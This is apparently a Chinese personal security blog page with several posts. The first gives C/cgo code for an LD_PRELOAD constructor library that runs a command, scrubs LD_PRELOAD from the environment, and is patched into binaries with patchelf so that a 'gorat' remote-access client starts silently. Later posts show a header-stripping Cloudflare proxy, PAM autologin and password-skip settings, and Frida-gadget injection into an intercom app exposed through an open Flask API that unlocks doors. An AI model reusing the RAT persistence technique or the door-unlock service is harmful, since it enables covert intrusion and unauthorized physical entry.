分类 安全之路 下的文章

一直想给gorat做一个优雅的自启方式,根据frida-gadget启发的一个思路,通过给elf添加so import,就可以实现无额外的进程启动gorat的client
直接使用cgo即可,然后可以配置patchelf进行捆绑

package main

/*
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

*/
import "C"
func main() {}

编译go build -buildmode=c-shared load.go

使用patchelf测试

cp /usr/bin/ls testls
patchelf --add-needed load.so testls
patchelf --add-rpath /home/c/my/code/golang/study/preload testls
EVIL_CMDLINE=pwd ./testls
EVIL_CMDLINE=pwd LD_PRELOAD=./load.so whoami


更进一步

这样我们可以使用cgo执行c代码,但是c怎么直接调用gorat的功能呢,很简单,写把gorat编译成so,在写一个c 调用这个so
稍微修改一下gorat,把启动函数换成非main,然后在export出来

再通过go build -buildmode=c-shared load.go 进行编译
再写一个c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "chihou.h"

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    ChiHou();
    // executive command
}

编译gcc -shared -static -fPIC lib.c -o lib.so ./chihou.so,再使用patchelf增加import

参考资料

http://wiki.f5.pm/doku.php?id=%E5%AE%89%E5%85%A8%E4%B9%8B%E8%B7%AF:%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%E7%AF%87:web%E7%9B%B8%E5%85%B3:php:%E5%B8%B8%E7%94%A8%E7%BB%95%E8%BF%87_disable_function%E5%92%8Copen_basedir%E7%9A%84%E6%96%B9%E6%B3%95
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://tiancaiamao.gitbooks.io/go-internals/content/zh/09.4.html
https://colobu.com/2018/08/28/c-and-go-calling-interaction/

addEventListener("fetch", (event) => {
  event.respondWith(
    handleRequest(event.request).catch(
      (err) => new Response(err.stack, { status: 500 })
    )
  );
});

async function handleRequest(request) {
  const urlStr = request.url
  const urlObj = new URL(urlStr)
  const url = urlObj.href.substr(urlObj.origin.length+1).replace("http:/","http://").replace("https:/","https://")
  const headers = {}
  request.headers.forEach((value,index)=>{
    console.log(value,index)
    if(index.indexOf("ip")!=-1 || index.indexOf("cf")!=-1) return;
    headers[index]=value;
  })
   var selfreq=new Request(url, {
    body: request.body,
    headers: headers,
    method: request.method,
    redirect: request.redirect
  })
  return fetch(selfreq, { cf: { scrapeShield: false } })

}

安装

# 安装依赖
yay -S libfido2
yay -S pam-u2f

# 插入fido key 并生成key 文件

pamu2fcfg > ~/.config/fido/fido.key
# 需要触摸一下fido key

# 编辑文件
/etc/pam.d/system-local-login

# 加入一行

auth sufficient pam_u2f.so authfile=/home/c/.config/fido/fido.key cue

# 如果需要sudo也可以用fido认证,则在/etc/pam.d/sudo中也加入上面那一行即可

❯ cat sudo
#%PAM-1.0
auth sufficient pam_u2f.so authfile=/home/c/.config/fido/fido.key cue
auth        include        system-auth
account        include        system-auth
session        include        system-auth

参考资料

https://wiki.archlinux.org/title/Universal_2nd_Factor
https://old.reddit.com/r/Fedora/comments/akck9m/authenticating_with_gdm_and_sudo_with_a_u2f/

起应是不想用lightdm/gdm之类的登录管理器
我用的zsh,先在用户的~/.zprofile加入,如果是bash则是~/.bash_profile

if [[ -z $DISPLAY ]] && [[ $(tty) = /dev/tty1 ]]; then
    exec startx
fi

然后编辑你的
/etc/systemd/system/getty.target.wants/[email protected]

[Service]
# the VT is cleared by TTYVTDisallocate
# The '-o' option value tells agetty to replace 'login' arguments with an
# option to preserve environment (-p), followed by '--' for safety, and then
# the entered username.
# 原来是
ExecStart=-/sbin/agetty -a c -o '-p -- \\u' --noclear %I $TERM
# 改成,就是家一个 -a 参数,后面跟你的用户名
ExecStart=-/sbin/agetty -a c -o '-p -- \\u' --noclear %I $TERM
Type=idle

然后执行

systemctl daemon-reload
systemctl start [email protected]

这样设置之后启动还需要输入一次密码,如果想跳过密码则
编辑 /etc/pam.d/system-local-login

#%PAM-1.0
# 加入下面这一行,其中最后的 **c** 代表的是你的用户所在的用户组,一般创建用户的时候会自动创建一个同名的用户组
auth sufficient pam_succeed_if.so user ingroup c
auth      include   system-login
account   include   system-login
password  include   system-login
session   include   system-login

参考资料

https://qastack.cn/unix/42359/how-can-i-autologin-to-desktop-with-systemd
https://wiki.archlinux.org/title/LightDM_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#%E5%90%AF%E7%94%A8%E8%87%AA%E5%8A%A8%E7%99%BB%E5%BD%95

书接上回对可视对讲设备的分析,当时说可以去实现一下远程开门,今天正好有空就把这个坑填上了

http://aq.mk/index.php/archives/113.html

效果

分析

太细节的分析就不说了,根据上次定位到的函数最后发现实际其所有的串口通讯都封装在了jni library里面,就不整那么复杂的二进制逆向了,直接frida hook一把梭。

不知道是机器配置太低还是他的包有问题,导致直接frida或objection无法自动注入,一旦注入就会导致设备重启,所以这次采用frida-gadget的方式进行注入。

frida-gadget

就不详细展开说了,简单的描述就是找一个他本身就调用的so文件,然后通过给原始的so添加一个外部引用,这个引用就是我们的gadget,然后对apk重新打包安装即可。

操作如下:

# patchelf 
# libzzz.so就是gadget 这个直接去官方的github下载然后随便改个名字就行
# 后面是apk自带的的so文件
patchelf --add-needed libzzz.so libjniandroidrkmojing.so

# 生成证书
keytool -genkey -v -keystore myApp.keystore -alias myApp.keystore -keyalg RSA -validity 30000

# 签名
uber-apk-signer -a ml/ml.apk  --ks myApp.keystore --ksAlias myApp.keystore

# 安装 
adb install -r android-release-signed.apk

我在这里出现了个问题,因为该软件是系统内置的,无法卸载,重新安装的话会因为签名不同导致安装
我的解决方案是找到其路径,然后直接替换他已经释放的so文件

# 查询路径
 adb shell pm path com.mili.smarthome.snj

一般是这样的路径,这个图是随便找了个app截的

替换之后在重启app就可以发现注入成功了

方法调用


根据之前找到他的调用逻辑大概如下

# 初始化门禁, 参数是类型
Called com.android.client.InterCommClient.InterMonitorStart(int, int) 
# 解锁
Called com.android.client.InterCommClient.InterMonitorUnlock()
# 关闭监听
Called com.android.client.InterCommClient.InterMonitorStop()
# 释放程序
Called com.android.client.InterCommClient.StopInterCommClient()

先写一个js验证一下

setTimeout(function() {
    Java.perform(function() {
        var InterCommClient = Java.use('com.android.client.InterCommClient'); 
        var InterCommClientInstance = InterCommClient.$new();
        console.log(InterCommClientInstance.InterMonitorStart(49,1));
        console.log(InterCommClientInstance.InterMonitorUnlock());    
    })
})

调用成功之后就去实现一下rpc远程调用

hook.js

var InterCommClient =""
var InterCommClientInstance =""

function opendoor(a,b){
    return new Promise(resolve => {
        Java.perform(function () {
            var ua="";
            // 需要context
            var Context = Java.use('android.content.Context');
            var ctx = Java.cast(Java.use('android.app.ActivityThread').currentApplication().getApplicationContext(), Context);
            InterCommClient = Java.use('com.android.client.InterCommClient'); 
            InterCommClientInstance = InterCommClient.$new(ctx);
            var initRet = InterCommClientInstance.InterMonitorStart(a,b)
            var unlockRet = InterCommClientInstance.InterMonitorUnlock();
            var stopRet = InterCommClientInstance.InterMonitorStop()
            var closeRet = InterCommClientInstance.StopInterCommClient()
            ua=initRet + " - " + unlockRet + " - " + stopRet + " - " + closeRet
            console.log(ua)
            resolve(ua)
        })
    })

}
rpc.exports={
    opendoor:opendoor
}

在用flask写一个api

import os
from flask import Flask, escape, request,make_response
import frida

JS_CODE = open("hook.js").read()
app = Flask(__name__)
doorList = {
        "1":[49,0],
        "2":[49,1],
        "3":[48,1],
        "4":[48,2]
    }
def message_header(message, payload):
    message_type = message['type']
    if message_type == 'send':
        print('[* message]', message['payload'])

    elif message_type == 'error':
        stack = message['stack']
        print('[* error]', stack)

    else:
        print(message)
os.system("adb forward tcp:27042 tcp:27042")
device = frida.get_usb_device(30)
session = device.attach("Gadget")
script = session.create_script(JS_CODE, runtime='v8')
script.on('message', message_header)
script.load()



@app.errorhandler(500)
def page_not_found(e):
    return  'error'
@app.route("/")
def index():
    data =  open("index.html").read()
    return str(data)

@app.route("/open")
def opendoor():
    door=request.args.get("door")
    doors=doorList.get(door)
    script.exports.OpenDoor(doors[0],doors[1])
    return "success"

app.run(
        host='0.0.0.0',
        port=65511,
        debug=True
    )

参考资料

https://www.bilibili.com/read/cv13148752
https://windysha.github.io/2020/05/28/%E9%9D%9ERoot%E7%8E%AF%E5%A2%83%E4%B8%8B%E4%BD%BF%E7%94%A8Frida%E7%9A%84%E4%B8%80%E7%A7%8D%E6%96%B9%E6%A1%88/
https://www.cnblogs.com/xiaoshen666/p/11008255.html
https://www.cnblogs.com/xiaoshen666/p/11008255.html
https://fadeevab.com/frida-gadget-injection-on-android-no-root-2-methods/
https://www.cnblogs.com/xiaoweigege/p/14976108.html